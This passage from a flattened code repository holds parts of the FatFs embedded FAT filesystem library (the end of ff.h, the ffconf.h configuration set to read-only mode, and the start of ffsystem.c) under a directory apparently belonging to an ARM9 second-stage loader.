typedef unsigned char BYTE; /* char must be 8-bit */ 60 | typedef unsigned short WORD; /* 16-bit unsigned integer */ 61 | typedef unsigned long DWORD; /* 32-bit unsigned integer */ 62 | typedef WORD WCHAR; /* UTF-16 character type */ 63 | #endif 64 | 65 | 66 | /* Type of file size and LBA variables */ 67 | 68 | #if FF_FS_EXFAT 69 | #if FF_INTDEF != 2 70 | #error exFAT feature wants C99 or later 71 | #endif 72 | typedef QWORD FSIZE_t; 73 | #if FF_LBA64 74 | typedef QWORD LBA_t; 75 | #else 76 | typedef DWORD LBA_t; 77 | #endif 78 | #else 79 | #if FF_LBA64 80 | #error exFAT needs to be enabled when enable 64-bit LBA 81 | #endif 82 | typedef DWORD FSIZE_t; 83 | typedef DWORD LBA_t; 84 | #endif 85 | 86 | 87 | 88 | /* Type of path name strings on FatFs API (TCHAR) */ 89 | 90 | #if FF_USE_LFN && FF_LFN_UNICODE == 1 /* Unicode in UTF-16 encoding */ 91 | typedef WCHAR TCHAR; 92 | #define _T(x) L ## x 93 | #define _TEXT(x) L ## x 94 | #elif FF_USE_LFN && FF_LFN_UNICODE == 2 /* Unicode in UTF-8 encoding */ 95 | typedef char TCHAR; 96 | #define _T(x) u8 ## x 97 | #define _TEXT(x) u8 ## x 98 | #elif FF_USE_LFN && FF_LFN_UNICODE == 3 /* Unicode in UTF-32 encoding */ 99 | typedef DWORD TCHAR; 100 | #define _T(x) U ## x 101 | #define _TEXT(x) U ## x 102 | #elif FF_USE_LFN && (FF_LFN_UNICODE < 0 || FF_LFN_UNICODE > 3) 103 | #error Wrong FF_LFN_UNICODE setting 104 | #else /* ANSI/OEM code in SBCS/DBCS */ 105 | typedef char TCHAR; 106 | #define _T(x) x 107 | #define _TEXT(x) x 108 | #endif 109 | 110 | 111 | 112 | /* Definitions of volume management */ 113 | 114 | #if FF_MULTI_PARTITION /* Multiple partition configuration */ 115 | typedef struct { 116 | BYTE pd; /* Physical drive number */ 117 | BYTE pt; /* Partition: 0:Auto detect, 1-4:Forced partition) */ 118 | } PARTITION; 119 | extern PARTITION VolToPart[]; /* Volume - Partition mapping table */ 120 | #endif 121 | 122 | #if FF_STR_VOLUME_ID 123 | #ifndef FF_VOLUME_STRS 124 | extern const char* VolumeStr[FF_VOLUMES]; /* User defied volume ID */ 125 | #endif 126 | #endif 127 | 128 | 129 | 130 | /* Filesystem object structure (FATFS) */ 131 | 132 | typedef struct { 133 | BYTE fs_type; /* Filesystem type (0:not mounted) */ 134 | BYTE pdrv; /* Associated physical drive */ 135 | BYTE n_fats; /* Number of FATs (1 or 2) */ 136 | BYTE wflag; /* win[] flag (b0:dirty) */ 137 | BYTE fsi_flag; /* FSINFO flags (b7:disabled, b0:dirty) */ 138 | WORD id; /* Volume mount ID */ 139 | WORD n_rootdir; /* Number of root directory entries (FAT12/16) */ 140 | WORD csize; /* Cluster size [sectors] */ 141 | #if FF_MAX_SS != FF_MIN_SS 142 | WORD ssize; /* Sector size (512, 1024, 2048 or 4096) */ 143 | #endif 144 | #if FF_USE_LFN 145 | WCHAR* lfnbuf; /* LFN working buffer */ 146 | #endif 147 | #if FF_FS_EXFAT 148 | BYTE* dirbuf; /* Directory entry block scratchpad buffer for exFAT */ 149 | #endif 150 | #if FF_FS_REENTRANT 151 | FF_SYNC_t sobj; /* Identifier of sync object */ 152 | #endif 153 | #if !FF_FS_READONLY 154 | DWORD last_clst; /* Last allocated cluster */ 155 | DWORD free_clst; /* Number of free clusters */ 156 | #endif 157 | #if FF_FS_RPATH 158 | DWORD cdir; /* Current directory start cluster (0:root) */ 159 | #if FF_FS_EXFAT 160 | DWORD cdc_scl; /* Containing directory start cluster (invalid when cdir is 0) */ 161 | DWORD cdc_size; /* b31-b8:Size of containing directory, b7-b0: Chain status */ 162 | DWORD cdc_ofs; /* Offset in the containing directory (invalid when cdir is 0) */ 163 | #endif 164 | #endif 165 | DWORD n_fatent; /* Number of FAT entries (number of clusters + 2) */ 166 | DWORD fsize; /* Size of an FAT [sectors] */ 167 | LBA_t volbase; /* Volume base sector */ 168 | LBA_t fatbase; /* FAT base sector */ 169 | LBA_t dirbase; /* Root directory base sector/cluster */ 170 | LBA_t database; /* Data base sector */ 171 | #if FF_FS_EXFAT 172 | LBA_t bitbase; /* Allocation bitmap base sector */ 173 | #endif 174 | LBA_t winsect; /* Current sector appearing in the win[] */ 175 | BYTE win[FF_MAX_SS]; /* Disk access window for Directory, FAT (and file data at tiny cfg) */ 176 | } FATFS; 177 | 178 | 179 | 180 | /* Object ID and allocation information (FFOBJID) */ 181 | 182 | typedef struct { 183 | FATFS* fs; /* Pointer to the hosting volume of this object */ 184 | WORD id; /* Hosting volume mount ID */ 185 | BYTE attr; /* Object attribute */ 186 | BYTE stat; /* Object chain status (b1-0: =0:not contiguous, =2:contiguous, =3:fragmented in this session, b2:sub-directory stretched) */ 187 | DWORD sclust; /* Object data start cluster (0:no cluster or root directory) */ 188 | FSIZE_t objsize; /* Object size (valid when sclust != 0) */ 189 | #if FF_FS_EXFAT 190 | DWORD n_cont; /* Size of first fragment - 1 (valid when stat == 3) */ 191 | DWORD n_frag; /* Size of last fragment needs to be written to FAT (valid when not zero) */ 192 | DWORD c_scl; /* Containing directory start cluster (valid when sclust != 0) */ 193 | DWORD c_size; /* b31-b8:Size of containing directory, b7-b0: Chain status (valid when c_scl != 0) */ 194 | DWORD c_ofs; /* Offset in the containing directory (valid when file object and sclust != 0) */ 195 | #endif 196 | #if FF_FS_LOCK 197 | UINT lockid; /* File lock ID origin from 1 (index of file semaphore table Files[]) */ 198 | #endif 199 | } FFOBJID; 200 | 201 | 202 | 203 | /* File object structure (FIL) */ 204 | 205 | typedef struct { 206 | FFOBJID obj; /* Object identifier (must be the 1st member to detect invalid object pointer) */ 207 | BYTE flag; /* File status flags */ 208 | BYTE err; /* Abort flag (error code) */ 209 | FSIZE_t fptr; /* File read/write pointer (Zeroed on file open) */ 210 | DWORD clust; /* Current cluster of fpter (invalid when fptr is 0) */ 211 | LBA_t sect; /* Sector number appearing in buf[] (0:invalid) */ 212 | #if !FF_FS_READONLY 213 | LBA_t dir_sect; /* Sector number containing the directory entry (not used at exFAT) */ 214 | BYTE* dir_ptr; /* Pointer to the directory entry in the win[] (not used at exFAT) */ 215 | #endif 216 | #if FF_USE_FASTSEEK 217 | DWORD* cltbl; /* Pointer to the cluster link map table (nulled on open, set by application) */ 218 | #endif 219 | #if !FF_FS_TINY 220 | BYTE buf[FF_MAX_SS]; /* File private data read/write window */ 221 | #endif 222 | } FIL; 223 | 224 | 225 | 226 | /* Directory object structure (DIR) */ 227 | 228 | typedef struct { 229 | FFOBJID obj; /* Object identifier */ 230 | DWORD dptr; /* Current read/write offset */ 231 | DWORD clust; /* Current cluster */ 232 | LBA_t sect; /* Current sector (0:Read operation has terminated) */ 233 | BYTE* dir; /* Pointer to the directory item in the win[] */ 234 | BYTE fn[12]; /* SFN (in/out) {body[8],ext[3],status[1]} */ 235 | #if FF_USE_LFN 236 | DWORD blk_ofs; /* Offset of current entry block being processed (0xFFFFFFFF:Invalid) */ 237 | #endif 238 | #if FF_USE_FIND 239 | const TCHAR* pat; /* Pointer to the name matching pattern */ 240 | #endif 241 | } DIR; 242 | 243 | 244 | 245 | /* File information structure (FILINFO) */ 246 | 247 | typedef struct { 248 | FSIZE_t fsize; /* File size */ 249 | WORD fdate; /* Modified date */ 250 | WORD ftime; /* Modified time */ 251 | BYTE fattrib; /* File attribute */ 252 | #if FF_USE_LFN 253 | TCHAR altname[FF_SFN_BUF + 1];/* Altenative file name */ 254 | TCHAR fname[FF_LFN_BUF + 1]; /* Primary file name */ 255 | #else 256 | TCHAR fname[12 + 1]; /* File name */ 257 | #endif 258 | } FILINFO; 259 | 260 | 261 | 262 | /* Format parameter structure (MKFS_PARM) */ 263 | 264 | typedef struct { 265 | BYTE fmt; /* Format option (FM_FAT, FM_FAT32, FM_EXFAT and FM_SFD) */ 266 | BYTE n_fat; /* Number of FATs */ 267 | UINT align; /* Data area alignment (sector) */ 268 | UINT n_root; /* Number of root directory entries */ 269 | DWORD au_size; /* Cluster size (byte) */ 270 | } MKFS_PARM; 271 | 272 | 273 | 274 | /* File function return code (FRESULT) */ 275 | 276 | typedef enum { 277 | FR_OK = 0, /* (0) Succeeded */ 278 | FR_DISK_ERR, /* (1) A hard error occurred in the low level disk I/O layer */ 279 | FR_INT_ERR, /* (2) Assertion failed */ 280 | FR_NOT_READY, /* (3) The physical drive cannot work */ 281 | FR_NO_FILE, /* (4) Could not find the file */ 282 | FR_NO_PATH, /* (5) Could not find the path */ 283 | FR_INVALID_NAME, /* (6) The path name format is invalid */ 284 | FR_DENIED, /* (7) Access denied due to prohibited access or directory full */ 285 | FR_EXIST, /* (8) Access denied due to prohibited access */ 286 | FR_INVALID_OBJECT, /* (9) The file/directory object is invalid */ 287 | FR_WRITE_PROTECTED, /* (10) The physical drive is write protected */ 288 | FR_INVALID_DRIVE, /* (11) The logical drive number is invalid */ 289 | FR_NOT_ENABLED, /* (12) The volume has no work area */ 290 | FR_NO_FILESYSTEM, /* (13) There is no valid FAT volume */ 291 | FR_MKFS_ABORTED, /* (14) The f_mkfs() aborted due to any problem */ 292 | FR_TIMEOUT, /* (15) Could not get a grant to access the volume within defined period */ 293 | FR_LOCKED, /* (16) The operation is rejected according to the file sharing policy */ 294 | FR_NOT_ENOUGH_CORE, /* (17) LFN working buffer could not be allocated */ 295 | FR_TOO_MANY_OPEN_FILES, /* (18) Number of open files > FF_FS_LOCK */ 296 | FR_INVALID_PARAMETER /* (19) Given parameter is invalid */ 297 | } FRESULT; 298 | 299 | 300 | 301 | /*--------------------------------------------------------------*/ 302 | /* FatFs module application interface */ 303 | 304 | FRESULT f_open (FIL* fp, const TCHAR* path, BYTE mode); /* Open or create a file */ 305 | FRESULT f_close (FIL* fp); /* Close an open file object */ 306 | FRESULT f_read (FIL* fp, void* buff, UINT btr, UINT* br); /* Read data from the file */ 307 | FRESULT f_write (FIL* fp, const void* buff, UINT btw, UINT* bw); /* Write data to the file */ 308 | FRESULT f_lseek (FIL* fp, FSIZE_t ofs); /* Move file pointer of the file object */ 309 | FRESULT f_truncate (FIL* fp); /* Truncate the file */ 310 | FRESULT f_sync (FIL* fp); /* Flush cached data of the writing file */ 311 | FRESULT f_opendir (DIR* dp, const TCHAR* path); /* Open a directory */ 312 | FRESULT f_closedir (DIR* dp); /* Close an open directory */ 313 | FRESULT f_readdir (DIR* dp, FILINFO* fno); /* Read a directory item */ 314 | FRESULT f_findfirst (DIR* dp, FILINFO* fno, const TCHAR* path, const TCHAR* pattern); /* Find first file */ 315 | FRESULT f_findnext (DIR* dp, FILINFO* fno); /* Find next file */ 316 | FRESULT f_mkdir (const TCHAR* path); /* Create a sub directory */ 317 | FRESULT f_unlink (const TCHAR* path); /* Delete an existing file or directory */ 318 | FRESULT f_rename (const TCHAR* path_old, const TCHAR* path_new); /* Rename/Move a file or directory */ 319 | FRESULT f_stat (const TCHAR* path, FILINFO* fno); /* Get file status */ 320 | FRESULT f_chmod (const TCHAR* path, BYTE attr, BYTE mask); /* Change attribute of a file/dir */ 321 | FRESULT f_utime (const TCHAR* path, const FILINFO* fno); /* Change timestamp of a file/dir */ 322 | FRESULT f_chdir (const TCHAR* path); /* Change current directory */ 323 | FRESULT f_chdrive (const TCHAR* path); /* Change current drive */ 324 | FRESULT f_getcwd (TCHAR* buff, UINT len); /* Get current directory */ 325 | FRESULT f_getfree (const TCHAR* path, DWORD* nclst, FATFS** fatfs); /* Get number of free clusters on the drive */ 326 | FRESULT f_getlabel (const TCHAR* path, TCHAR* label, DWORD* vsn); /* Get volume label */ 327 | FRESULT f_setlabel (const TCHAR* label); /* Set volume label */ 328 | FRESULT f_forward (FIL* fp, UINT(*func)(const BYTE*,UINT), UINT btf, UINT* bf); /* Forward data to the stream */ 329 | FRESULT f_expand (FIL* fp, FSIZE_t fsz, BYTE opt); /* Allocate a contiguous block to the file */ 330 | FRESULT f_mount (FATFS* fs, const TCHAR* path, BYTE opt); /* Mount/Unmount a logical drive */ 331 | FRESULT f_mkfs (const TCHAR* path, const MKFS_PARM* opt, void* work, UINT len); /* Create a FAT volume */ 332 | FRESULT f_fdisk (BYTE pdrv, const LBA_t ptbl[], void* work); /* Divide a physical drive into some partitions */ 333 | FRESULT f_setcp (WORD cp); /* Set current code page */ 334 | int f_putc (TCHAR c, FIL* fp); /* Put a character to the file */ 335 | int f_puts (const TCHAR* str, FIL* cp); /* Put a string to the file */ 336 | int f_printf (FIL* fp, const TCHAR* str, ...); /* Put a formatted string to the file */ 337 | TCHAR* f_gets (TCHAR* buff, int len, FIL* fp); /* Get a string from the file */ 338 | 339 | #define f_eof(fp) ((int)((fp)->fptr == (fp)->obj.objsize)) 340 | #define f_error(fp) ((fp)->err) 341 | #define f_tell(fp) ((fp)->fptr) 342 | #define f_size(fp) ((fp)->obj.objsize) 343 | #define f_rewind(fp) f_lseek((fp), 0) 344 | #define f_rewinddir(dp) f_readdir((dp), 0) 345 | #define f_rmdir(path) f_unlink(path) 346 | #define f_unmount(path) f_mount(0, path, 0) 347 | 348 | 349 | 350 | 351 | /*--------------------------------------------------------------*/ 352 | /* Additional user defined functions */ 353 | 354 | /* RTC function */ 355 | #if !FF_FS_READONLY && !FF_FS_NORTC 356 | DWORD get_fattime (void); 357 | #endif 358 | 359 | /* LFN support functions */ 360 | #if FF_USE_LFN >= 1 /* Code conversion (defined in unicode.c) */ 361 | WCHAR ff_oem2uni (WCHAR oem, WORD cp); /* OEM code to Unicode conversion */ 362 | WCHAR ff_uni2oem (DWORD uni, WORD cp); /* Unicode to OEM code conversion */ 363 | DWORD ff_wtoupper (DWORD uni); /* Unicode upper-case conversion */ 364 | #endif 365 | #if FF_USE_LFN == 3 /* Dynamic memory allocation */ 366 | void* ff_memalloc (UINT msize); /* Allocate memory block */ 367 | void ff_memfree (void* mblock); /* Free memory block */ 368 | #endif 369 | 370 | /* Sync functions */ 371 | #if FF_FS_REENTRANT 372 | int ff_cre_syncobj (BYTE vol, FF_SYNC_t* sobj); /* Create a sync object */ 373 | int ff_req_grant (FF_SYNC_t sobj); /* Lock sync object */ 374 | void ff_rel_grant (FF_SYNC_t sobj); /* Unlock sync object */ 375 | int ff_del_syncobj (FF_SYNC_t sobj); /* Delete a sync object */ 376 | #endif 377 | 378 | 379 | 380 | 381 | /*--------------------------------------------------------------*/ 382 | /* Flags and offset address */ 383 | 384 | 385 | /* File access mode and open method flags (3rd argument of f_open) */ 386 | #define FA_READ 0x01 387 | #define FA_WRITE 0x02 388 | #define FA_OPEN_EXISTING 0x00 389 | #define FA_CREATE_NEW 0x04 390 | #define FA_CREATE_ALWAYS 0x08 391 | #define FA_OPEN_ALWAYS 0x10 392 | #define FA_OPEN_APPEND 0x30 393 | 394 | /* Fast seek controls (2nd argument of f_lseek) */ 395 | #define CREATE_LINKMAP ((FSIZE_t)0 - 1) 396 | 397 | /* Format options (2nd argument of f_mkfs) */ 398 | #define FM_FAT 0x01 399 | #define FM_FAT32 0x02 400 | #define FM_EXFAT 0x04 401 | #define FM_ANY 0x07 402 | #define FM_SFD 0x08 403 | 404 | /* Filesystem type (FATFS.fs_type) */ 405 | #define FS_FAT12 1 406 | #define FS_FAT16 2 407 | #define FS_FAT32 3 408 | #define FS_EXFAT 4 409 | 410 | /* File attribute bits for directory entry (FILINFO.fattrib) */ 411 | #define AM_RDO 0x01 /* Read only */ 412 | #define AM_HID 0x02 /* Hidden */ 413 | #define AM_SYS 0x04 /* System */ 414 | #define AM_DIR 0x10 /* Directory */ 415 | #define AM_ARC 0x20 /* Archive */ 416 | 417 | 418 | #ifdef __cplusplus 419 | } 420 | #endif 421 | 422 | #endif /* FF_DEFINED */ 423 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/ffconf.h: -------------------------------------------------------------------------------- 1 | /*---------------------------------------------------------------------------/ 2 | / FatFs Functional Configurations 3 | /---------------------------------------------------------------------------*/ 4 | 5 | #define FFCONF_DEF 86631 /* Revision ID */ 6 | 7 | /*---------------------------------------------------------------------------/ 8 | / Function Configurations 9 | /---------------------------------------------------------------------------*/ 10 | 11 | #define FF_FS_READONLY 1 12 | /* This option switches read-only configuration. (0:Read/Write or 1:Read-only) 13 | / Read-only configuration removes writing API functions, f_write(), f_sync(), 14 | / f_unlink(), f_mkdir(), f_chmod(), f_rename(), f_truncate(), f_getfree() 15 | / and optional writing functions as well. */ 16 | 17 | 18 | #define FF_FS_MINIMIZE 3 19 | /* This option defines minimization level to remove some basic API functions. 20 | / 21 | / 0: Basic functions are fully enabled. 22 | / 1: f_stat(), f_getfree(), f_unlink(), f_mkdir(), f_truncate() and f_rename() 23 | / are removed. 24 | / 2: f_opendir(), f_readdir() and f_closedir() are removed in addition to 1. 25 | / 3: f_lseek() function is removed in addition to 2. */ 26 | 27 | 28 | #define FF_USE_FIND 0 29 | /* This option switches filtered directory read functions, f_findfirst() and 30 | / f_findnext(). (0:Disable, 1:Enable 2:Enable with matching altname[] too) */ 31 | 32 | 33 | #define FF_USE_MKFS 0 34 | /* This option switches f_mkfs() function. (0:Disable or 1:Enable) */ 35 | 36 | 37 | #define FF_USE_FASTSEEK 0 38 | /* This option switches fast seek function. (0:Disable or 1:Enable) */ 39 | 40 | 41 | #define FF_USE_EXPAND 0 42 | /* This option switches f_expand function. (0:Disable or 1:Enable) */ 43 | 44 | 45 | #define FF_USE_CHMOD 0 46 | /* This option switches attribute manipulation functions, f_chmod() and f_utime(). 47 | / (0:Disable or 1:Enable) Also FF_FS_READONLY needs to be 0 to enable this option. */ 48 | 49 | 50 | #define FF_USE_LABEL 0 51 | /* This option switches volume label functions, f_getlabel() and f_setlabel(). 52 | / (0:Disable or 1:Enable) */ 53 | 54 | 55 | #define FF_USE_FORWARD 0 56 | /* This option switches f_forward() function. (0:Disable or 1:Enable) */ 57 | 58 | 59 | #define FF_USE_STRFUNC 0 60 | #define FF_PRINT_LLI 0 61 | #define FF_PRINT_FLOAT 0 62 | #define FF_STRF_ENCODE 0 63 | /* FF_USE_STRFUNC switches string functions, f_gets(), f_putc(), f_puts() and 64 | / f_printf(). 65 | / 66 | / 0: Disable. FF_PRINT_LLI, FF_PRINT_FLOAT and FF_STRF_ENCODE have no effect. 67 | / 1: Enable without LF-CRLF conversion. 68 | / 2: Enable with LF-CRLF conversion. 69 | / 70 | / FF_PRINT_LLI = 1 makes f_printf() support long long argument and FF_PRINT_FLOAT = 1/2 71 | makes f_printf() support floating point argument. These features want C99 or later. 72 | / When FF_LFN_UNICODE >= 1 with LFN enabled, string functions convert the character 73 | / encoding in it. FF_STRF_ENCODE selects assumption of character encoding ON THE FILE 74 | / to be read/written via those functions. 75 | / 76 | / 0: ANSI/OEM in current CP 77 | / 1: Unicode in UTF-16LE 78 | / 2: Unicode in UTF-16BE 79 | / 3: Unicode in UTF-8 80 | */ 81 | 82 | 83 | /*---------------------------------------------------------------------------/ 84 | / Locale and Namespace Configurations 85 | /---------------------------------------------------------------------------*/ 86 | 87 | #define FF_CODE_PAGE 437 88 | /* This option specifies the OEM code page to be used on the target system. 89 | / Incorrect code page setting can cause a file open failure. 90 | / 91 | / 437 - U.S. 92 | / 720 - Arabic 93 | / 737 - Greek 94 | / 771 - KBL 95 | / 775 - Baltic 96 | / 850 - Latin 1 97 | / 852 - Latin 2 98 | / 855 - Cyrillic 99 | / 857 - Turkish 100 | / 860 - Portuguese 101 | / 861 - Icelandic 102 | / 862 - Hebrew 103 | / 863 - Canadian French 104 | / 864 - Arabic 105 | / 865 - Nordic 106 | / 866 - Russian 107 | / 869 - Greek 2 108 | / 932 - Japanese (DBCS) 109 | / 936 - Simplified Chinese (DBCS) 110 | / 949 - Korean (DBCS) 111 | / 950 - Traditional Chinese (DBCS) 112 | / 0 - Include all code pages above and configured by f_setcp() 113 | */ 114 | 115 | 116 | #define FF_USE_LFN 2 117 | #define FF_MAX_LFN 255 118 | /* The FF_USE_LFN switches the support for LFN (long file name). 119 | / 120 | / 0: Disable LFN. FF_MAX_LFN has no effect. 121 | / 1: Enable LFN with static working buffer on the BSS. Always NOT thread-safe. 122 | / 2: Enable LFN with dynamic working buffer on the STACK. 123 | / 3: Enable LFN with dynamic working buffer on the HEAP. 124 | / 125 | / To enable the LFN, ffunicode.c needs to be added to the project. The LFN function 126 | / requiers certain internal working buffer occupies (FF_MAX_LFN + 1) * 2 bytes and 127 | / additional (FF_MAX_LFN + 44) / 15 * 32 bytes when exFAT is enabled. 128 | / The FF_MAX_LFN defines size of the working buffer in UTF-16 code unit and it can 129 | / be in range of 12 to 255. It is recommended to be set it 255 to fully support LFN 130 | / specification. 131 | / When use stack for the working buffer, take care on stack overflow. When use heap 132 | / memory for the working buffer, memory management functions, ff_memalloc() and 133 | / ff_memfree() exemplified in ffsystem.c, need to be added to the project. */ 134 | 135 | 136 | #define FF_LFN_UNICODE 0 137 | /* This option switches the character encoding on the API when LFN is enabled. 138 | / 139 | / 0: ANSI/OEM in current CP (TCHAR = char) 140 | / 1: Unicode in UTF-16 (TCHAR = WCHAR) 141 | / 2: Unicode in UTF-8 (TCHAR = char) 142 | / 3: Unicode in UTF-32 (TCHAR = DWORD) 143 | / 144 | / Also behavior of string I/O functions will be affected by this option. 145 | / When LFN is not enabled, this option has no effect. */ 146 | 147 | 148 | #define FF_LFN_BUF 255 149 | #define FF_SFN_BUF 12 150 | /* This set of options defines size of file name members in the FILINFO structure 151 | / which is used to read out directory items. These values should be suffcient for 152 | / the file names to read. The maximum possible length of the read file name depends 153 | / on character encoding. When LFN is not enabled, these options have no effect. */ 154 | 155 | 156 | #define FF_FS_RPATH 1 157 | /* This option configures support for relative path. 158 | / 159 | / 0: Disable relative path and remove related functions. 160 | / 1: Enable relative path. f_chdir() and f_chdrive() are available. 161 | / 2: f_getcwd() function is available in addition to 1. 162 | */ 163 | 164 | 165 | /*---------------------------------------------------------------------------/ 166 | / Drive/Volume Configurations 167 | /---------------------------------------------------------------------------*/ 168 | 169 | #define FF_VOLUMES 2 170 | /* Number of volumes (logical drives) to be used. (1-10) */ 171 | 172 | 173 | #define FF_STR_VOLUME_ID 0 174 | #define FF_VOLUME_STRS "RAM","NAND","CF","SD","SD2","USB","USB2","USB3" 175 | /* FF_STR_VOLUME_ID switches support for volume ID in arbitrary strings. 176 | / When FF_STR_VOLUME_ID is set to 1 or 2, arbitrary strings can be used as drive 177 | / number in the path name. FF_VOLUME_STRS defines the volume ID strings for each 178 | / logical drives. Number of items must not be less than FF_VOLUMES. Valid 179 | / characters for the volume ID strings are A-Z, a-z and 0-9, however, they are 180 | / compared in case-insensitive. If FF_STR_VOLUME_ID >= 1 and FF_VOLUME_STRS is 181 | / not defined, a user defined volume string table needs to be defined as: 182 | / 183 | / const char* VolumeStr[FF_VOLUMES] = {"ram","flash","sd","usb",... 184 | */ 185 | 186 | 187 | #define FF_MULTI_PARTITION 0 188 | /* This option switches support for multiple volumes on the physical drive. 189 | / By default (0), each logical drive number is bound to the same physical drive 190 | / number and only an FAT volume found on the physical drive will be mounted. 191 | / When this function is enabled (1), each logical drive number can be bound to 192 | / arbitrary physical drive and partition listed in the VolToPart[]. Also f_fdisk() 193 | / funciton will be available. */ 194 | 195 | 196 | #define FF_MIN_SS 512 197 | #define FF_MAX_SS 512 198 | /* This set of options configures the range of sector size to be supported. (512, 199 | / 1024, 2048 or 4096) Always set both 512 for most systems, generic memory card and 200 | / harddisk, but a larger value may be required for on-board flash memory and some 201 | / type of optical media. When FF_MAX_SS is larger than FF_MIN_SS, FatFs is configured 202 | / for variable sector size mode and disk_ioctl() function needs to implement 203 | / GET_SECTOR_SIZE command. */ 204 | 205 | 206 | #define FF_LBA64 0 207 | /* This option switches support for 64-bit LBA. (0:Disable or 1:Enable) 208 | / To enable the 64-bit LBA, also exFAT needs to be enabled. (FF_FS_EXFAT == 1) */ 209 | 210 | 211 | #define FF_MIN_GPT 0x10000000 212 | /* Minimum number of sectors to switch GPT as partitioning format in f_mkfs and 213 | / f_fdisk function. 0x100000000 max. This option has no effect when FF_LBA64 == 0. */ 214 | 215 | 216 | #define FF_USE_TRIM 0 217 | /* This option switches support for ATA-TRIM. (0:Disable or 1:Enable) 218 | / To enable Trim function, also CTRL_TRIM command should be implemented to the 219 | / disk_ioctl() function. */ 220 | 221 | 222 | 223 | /*---------------------------------------------------------------------------/ 224 | / System Configurations 225 | /---------------------------------------------------------------------------*/ 226 | 227 | #define FF_FS_TINY 0 228 | /* This option switches tiny buffer configuration. (0:Normal or 1:Tiny) 229 | / At the tiny configuration, size of file object (FIL) is shrinked FF_MAX_SS bytes. 230 | / Instead of private sector buffer eliminated from the file object, common sector 231 | / buffer in the filesystem object (FATFS) is used for the file data transfer. */ 232 | 233 | 234 | #define FF_FS_EXFAT 0 235 | /* This option switches support for exFAT filesystem. (0:Disable or 1:Enable) 236 | / To enable exFAT, also LFN needs to be enabled. (FF_USE_LFN >= 1) 237 | / Note that enabling exFAT discards ANSI C (C89) compatibility. */ 238 | 239 | 240 | #define FF_FS_NORTC 1 241 | #define FF_NORTC_MON 1 242 | #define FF_NORTC_MDAY 1 243 | #define FF_NORTC_YEAR 2022 244 | /* The option FF_FS_NORTC switches timestamp functiton. If the system does not have 245 | / any RTC function or valid timestamp is not needed, set FF_FS_NORTC = 1 to disable 246 | / the timestamp function. Every object modified by FatFs will have a fixed timestamp 247 | / defined by FF_NORTC_MON, FF_NORTC_MDAY and FF_NORTC_YEAR in local time. 248 | / To enable timestamp function (FF_FS_NORTC = 0), get_fattime() function need to be 249 | / added to the project to read current time form real-time clock. FF_NORTC_MON, 250 | / FF_NORTC_MDAY and FF_NORTC_YEAR have no effect. 251 | / These options have no effect in read-only configuration (FF_FS_READONLY = 1). */ 252 | 253 | 254 | #define FF_FS_NOFSINFO 0 255 | /* If you need to know correct free space on the FAT32 volume, set bit 0 of this 256 | / option, and f_getfree() function at first time after volume mount will force 257 | / a full FAT scan. Bit 1 controls the use of last allocated cluster number. 258 | / 259 | / bit0=0: Use free cluster count in the FSINFO if available. 260 | / bit0=1: Do not trust free cluster count in the FSINFO. 261 | / bit1=0: Use last allocated cluster number in the FSINFO if available. 262 | / bit1=1: Do not trust last allocated cluster number in the FSINFO. 263 | */ 264 | 265 | 266 | #define FF_FS_LOCK 0 267 | /* The option FF_FS_LOCK switches file lock function to control duplicated file open 268 | / and illegal operation to open objects. This option must be 0 when FF_FS_READONLY 269 | / is 1. 270 | / 271 | / 0: Disable file lock function. To avoid volume corruption, application program 272 | / should avoid illegal open, remove and rename to the open objects. 273 | / >0: Enable file lock function. The value defines how many files/sub-directories 274 | / can be opened simultaneously under file lock control. Note that the file 275 | / lock control is independent of re-entrancy. */ 276 | 277 | 278 | /* #include // O/S definitions */ 279 | #define FF_FS_REENTRANT 0 280 | #define FF_FS_TIMEOUT 1000 281 | #define FF_SYNC_t HANDLE 282 | /* The option FF_FS_REENTRANT switches the re-entrancy (thread safe) of the FatFs 283 | / module itself. Note that regardless of this option, file access to different 284 | / volume is always re-entrant and volume control functions, f_mount(), f_mkfs() 285 | / and f_fdisk() function, are always not re-entrant. Only file/directory access 286 | / to the same volume is under control of this function. 287 | / 288 | / 0: Disable re-entrancy. FF_FS_TIMEOUT and FF_SYNC_t have no effect. 289 | / 1: Enable re-entrancy. Also user provided synchronization handlers, 290 | / ff_req_grant(), ff_rel_grant(), ff_del_syncobj() and ff_cre_syncobj() 291 | / function, must be added to the project. Samples are available in 292 | / option/syscall.c. 293 | / 294 | / The FF_FS_TIMEOUT defines timeout period in unit of time tick. 295 | / The FF_SYNC_t defines O/S dependent sync object type. e.g. HANDLE, ID, OS_EVENT*, 296 | / SemaphoreHandle_t and etc. A header file for O/S definitions needs to be 297 | / included somewhere in the scope of ff.h. */ 298 | 299 | 300 | 301 | /*--- End of configuration options ---*/ 302 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/ffsystem.c: -------------------------------------------------------------------------------- 1 | /*------------------------------------------------------------------------*/ 2 | /* Sample Code of OS Dependent Functions for FatFs */ 3 | /* (C)ChaN, 2018 */ 4 | /*------------------------------------------------------------------------*/ 5 | 6 | 7 | #include "ff.h" 8 | 9 | 10 | #if FF_USE_LFN == 3 /* Dynamic memory allocation */ 11 | 12 | /*------------------------------------------------------------------------*/ 13 | /* Allocate a memory block */ 14 | /*------------------------------------------------------------------------*/ 15 | 16 | void* ff_memalloc ( /* Returns pointer to the allocated memory block (null if not enough core) */ 17 | UINT msize /* Number of bytes to allocate */ 18 | ) 19 | { 20 | return malloc(msize); /* Allocate a new memory block with POSIX API */ 21 | } 22 | 23 | 24 | /*------------------------------------------------------------------------*/ 25 | /* Free a memory block */ 26 | /*------------------------------------------------------------------------*/ 27 | 28 | void ff_memfree ( 29 | void* mblock /* Pointer to the memory block to free (nothing to do if null) */ 30 | ) 31 | { 32 | free(mblock); /* Free the memory block with POSIX API */ 33 | } 34 | 35 | #endif 36 | 37 | 38 | 39 | #if FF_FS_REENTRANT /* Mutal exclusion */ 40 | 41 | /*------------------------------------------------------------------------*/ 42 | /* Create a Synchronization Object */ 43 | /*------------------------------------------------------------------------*/ 44 | /* This function is called in f_mount() function to create a new 45 | / synchronization object for the volume, such as semaphore and mutex. 46 | / When a 0 is returned, the f_mount() function fails with FR_INT_ERR. 47 | */ 48 | 49 | //const osMutexDef_t Mutex[FF_VOLUMES]; /* Table of CMSIS-RTOS mutex */ 50 | 51 | 52 | int ff_cre_syncobj ( /* 1:Function succeeded, 0:Could not create the sync object */ 53 | BYTE vol, /* Corresponding volume (logical drive number) */ 54 | FF_SYNC_t* sobj /* Pointer to return the created sync object */ 55 | ) 56 | { 57 | /* Win32 */ 58 | *sobj 